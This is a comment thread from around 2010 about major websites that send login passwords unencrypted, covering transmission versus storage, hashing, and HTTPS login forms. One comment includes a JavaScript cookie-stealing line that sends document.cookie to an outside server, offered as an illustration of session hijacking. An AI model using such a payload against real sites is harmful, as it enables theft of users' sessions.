Six Months Later: Seven Major Websites that Send Passwords Unprotected

http://blog.adamsmith.cc/2010/07/six-months-later-seven-major-websites-that-send-passwords-unprotected.html

by adamsmith • 16 years ago

60 26 16 years ago

blog.adamsmith.cc

toxicflavor• 16 years ago

When ProjectLocker was accused of storing passwords in plaintext, they responded by saying:

"You can't verify this for ProjectLocker or any other website without access to their backend systems."

http://superuser.com/questions/46810/should-i-be-concerned-i...

Is that incorrect?

If not, then I wonder how the author of this article can be so sure of his findings.

mcknz• 16 years ago

I believe the article is referring to the plaintext transmission of credentials (your browser --> their server) which can be intercepted, rather than the plaintext storage of credentials (their server --> their database). Both are problematic.

samdk• 16 years ago

Well, that's not what this is about. This is about sending the password (from the client to the sever, to log in) in plain text, and that's easy to verify by just sniffing your network traffic (which is what the author of this originally did).

It may be impossible to verify completely whether a site stores passwords in plain text without back-end access, but sites that do often send forgotten password emails in plain text too. If a site's doing that, it's a pretty good bet they're storing it in plain text. (And if they're not, they're using a pretty insecure storage scheme anyway. Websites should store salted cryptographic hashes of passwords, not the passwords themselves.)

adamsmith2• 16 years ago

Sorry for the confusion -- this whole thing is about how passwords are transmitted, not how they are stored.

When it comes to password storage, though, the only way to find this out is: (1) if you are able to look at the backend systems, (2) if someone hacks in, as happened with rockyou (google: rockyou passwords), or (3) if they send you your password back in the clear in a password reminder email, rather than forcing you to create a new one. Note that #2 and #3, if they happen, only indicate that passwords are stored in the clear. If they don't happen that doesn't mean they are not stored in the clear.

zck• 16 years ago

>...if they send you your password back in the clear in a password reminder email, rather than forcing you to create a new one.

This only indicates they store the password in a recoverable format. It could be encrypted. It shouldn't be stored encrypted -- hashing is the way to go -- but it doesn't mean the server has "hunter2" sitting on disk somewhere.

dmm• 16 years ago

I don't know how he can be sure, but you can know a site stores passwords if, for example, they are able to send your password to you if you forget it. This would not be possible if the password were stored as a salted hash.

davidcann2• 16 years ago

Storing passwords in plaintext (or obfuscated) in a database is not what the author is saying. He's simply saying that they're not using encrypted HTTPS connections, so if a user logs into one of the offending sites over a publicly accessible connection (i.e. public wifi), anyone nearby could use a sniffer app to see their password travel over the network.

Regarding the Super User post, he's correct that storing passwords as reversible rather than plain text is a LITTLE different, but if their servers are compromised, the hacker could simply run the reverse function on your password to retrieve it. The one situation where it's safer is if the database tables are hacked, but the server's code is still secure.

I'd argue that storing reversible passwords is almost the same as plain text, but I'm interested to hear if people think reversible is significantly better than plain text.

btilly• 16 years ago

I'd argue that storing reversible passwords is almost the same as plain text, but I'm interested to hear if people think reversible is significantly better than plain text.

Reversible can be secure, but only if it is done right.

I once had to set up an affiliate section for a website, and we needed to securely store sensitive information such as tax IDs. My solution was to salt it then encrypt it with a public key. (The salt was not stored. Its only purpose was to make it impossible to do a brute force search through possible answers.) The private key was only available on a machine on a different network. (Because it only needed to be run every few months, I went further still and stored the key on a disk that was on no network at all!) From there it was easy to suck in the information, decrypt it with the private key, and put it into the financial system.

Yes, I was storing sensitive information in reversible form. However even if you managed to compromise the webserver, the database, and had the source code, decoding that data was still effectively impossible.

If you follow this strategy, the one thing that you cannot do easily is have the ability to have your website extract the sensitive information. (If you really want to you can have a table of requests, and a batch job elsewhere that attempts to fulfill them. Be very, very careful in setting something like that up though, because your attempt to open things up a crack may result in a hole a Mack truck could drive through.) However for certain use cases, it works quite well.

es3754• 16 years ago

Even though GameSpot's login is now secure, their signup page still submits to a insecure page.

tptacek3• 16 years ago

Next pet peeve to go after: sites that POST logins to https form actions from HTML pages served over insecure connections.

run4yourlives2• 16 years ago

I'm going to ask for an example because I can't believe any business entity actually still does this.

coverband• 16 years ago

What are you talking about? HTTP-to-HTTPS post is perfectly fine w/r/t sending info securely. It's especially useful for performance if your login is on a page where less than 10% of your users are expected to login.

gxti• 16 years ago

discover.com -- there's a "log in" link at the top that takes you to a secure page, though.

kylec• 16 years ago

I wish someone would create a browser extension that would warn the user if a password field is submitted unencrypted and ask if they want to proceed.

_cbsz• 16 years ago

My Unencrypted Password Warning extension for Chrome does exactly that. https://chrome.google.com/extensions/detail/mjpinemnkjlppmem...

SSLPasswdWarning for Firefox is similar. https://addons.mozilla.org/en-US/firefox/addon/11894/

bl4k• 16 years ago

If you assume that an attacker has access to your traffic (via MITM DNS poisoning, proxy or something else remote) then logging in via SSL while running the logged in application over non-SSL prevents nothing, since the attacker can grab the session token/cookie.

Campaigns like this one are good, but they risk creating a false sense of security since sending a session token over the clear is vulnerable to the same exploits that logging in over the clear is.

This is why Gmail is all SSL by default now (and with the secure bit on the cookie set, so that it is only sent over https)

(with a XSRF exploit in a web app, capturing the session token is as easy as:

  document.write('<img src="http://myserver/catch?' + document.cookie + '" width="0" height="0" />');

speaking of, the session token on Hacker News is crazy short, which would make the keyspace small enough to be viably brute-forced (especially since expiry is infinity))

whakojacko• 16 years ago

Good point, but for most of the websites guilty of these problems I really dont care about stealing my session or any data being transmitted. Most of them have little other information I care about being stolen, besides maybe my email address (and that shouldnt even be a problem if the website is designed properly, although of course if they arent using SSL in the first place you might they probably aren't)

naz• 16 years ago

12 characters isn't _that_ short, there are still something like 52^12 combinations. I suppose it all boils down to how many sessions are active.

bosch• 16 years ago

It's extremely disappointing that the majority of sites don't have secure logins. Is there a certain performance penalty that is associated with it? (Not for something small, but say Facebooks scale if they were to have https as the default login?)

(After we get sites using https for logins I suggest we go after ones e-mailing passwords to users ala Plenty of Fish)

snoobie_• 16 years ago

My effort with Reddit, there is a post there with google's effort to do something similar and their performance issues.

http://www.reddit.com/r/ideasfortheadmins/comments/ct13j/add...

bigiain• 16 years ago

A question, how many people have seen a "password sniffed on the wire" attack in the wild? Apart from unsecured hacker attended conference wifi networks, Ive not encountered one, or heard about one from friends/colleagues. There's cases like the TJMax credit card exploit where the attacker got sniffing code running inside their processing network, but do attacks on Internet traffic while in-the-fuzzy-cloud-on-the-diagram actually happen? I suspect highly targeted attacks might, but not the large scale impact of server intrusions exposing (even hashed) password databases... ( Ive had "low grade" passwords exposed a couple of times in the last few years that way...)

Six Months Later: Seven Major Websites that Send Passwords Unprotected

Related Stories